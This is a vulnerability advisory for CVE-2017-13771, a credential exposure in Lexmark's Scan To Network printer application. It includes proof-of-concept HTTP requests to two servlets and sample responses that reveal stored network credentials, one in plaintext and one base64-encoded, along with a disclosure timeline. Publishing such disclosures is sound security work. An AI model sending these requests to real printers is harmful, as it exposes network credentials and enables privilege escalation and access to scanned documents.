Lexmark Scan To Network (SNF) 3.2.9 Information Disclosure

`Summary  
=======  
1. Information exposure of network credentials in embedded printer  
application (CVE-2017-13771)  
  
  
Vendor  
======  
"Lexmark creates innovative imaging solutions and technologies that help  
customers worldwide print, secure and manage information with ease,  
efficiency and unmatched value. Combining innovative technologies with deep  
industry expertise, Lexmark simplifies the complex intersection of digital  
and printed information in retail, financial services, healthcare,  
manufacturing, education, government and more." [1].  
  
  
Tested version  
==============  
Lexmark Scan To Network (SNF) application <= 3.2.9  
  
  
Vulnerabilitiy and PoC  
=======================  
"The Embedded Scan to Network solution is an embedded Java application that  
is installed as a flash file on multifunction printers (MFPs) which support  
the Lexmark Embedded Solutions Framework (LeSF). It allows users at the  
printer to scan their documents to network destinations specified by the  
network administrator" [2].  
  
Scan To Network application supports the configuration of network  
credentials and if used they will be stored in plaintext and transmited in  
every request to the configuration tab. The next request should be made to  
get plaintext credentials that could be used later to escalate privileges  
in the network or get access to scanned documents:  
  
  
POST https://host/cgi-bin/direct/printer/prtappauth/apps/snfDestServlet  
HTTP/1.1  
Host: host  
Content-Type: multipart/form-data; boundary=----boundary  
Content-Length: 181  
  
------boundary  
Content-Disposition: form-data; name="dests"  
  
scanToNet.factory.0  
------boundary  
Content-Disposition: form-data; name="editButton"  
  
Edit...  
------boundary--  
  
  
HTTP/1.1 200 OK  
...  
...  
<span id="cifs.uName">  
<span class="header">Username:</span>  
<input type="text" name="cifs.uName" value="TEST" class="control"  
maxlength="256"></input>  
<span id="cifs.pwd">  
<span class="header">Password:</span>  
<input type="password" name="cifs.pwd" value="TEST123"  
class="control"></input>  
  
  
  
It is possible to have too a base64-encoded password from application  
configuration export functionality:  
  
GET  
https://host/cgi-bin/direct/printer/prtappauth/apps/ImportExportServlet?exportButton=clicked  
HTTP/1.1  
Host: host  
  
  
HTTP/1.1 200 OK  
...  
...  
esf.cifs.inst.1.cifs.uName "TEST"  
esf.cifs.inst.1.cifs.pwd "VEVTVDEyMw=="  
  
  
Timeline  
========  
19/05/2017: Vendor is notified through security email  
30/08/2017: No response from vendor, CVE assigned, full disclosure  
  
  
[1] https://www.lexmark.com/en_us/about/company.html  
[2]  
http://support.lexmark.com/library/LEXMARK/primus/files/PATTLNK_8312007_1530-AdminGuide.pdf  
  
  
`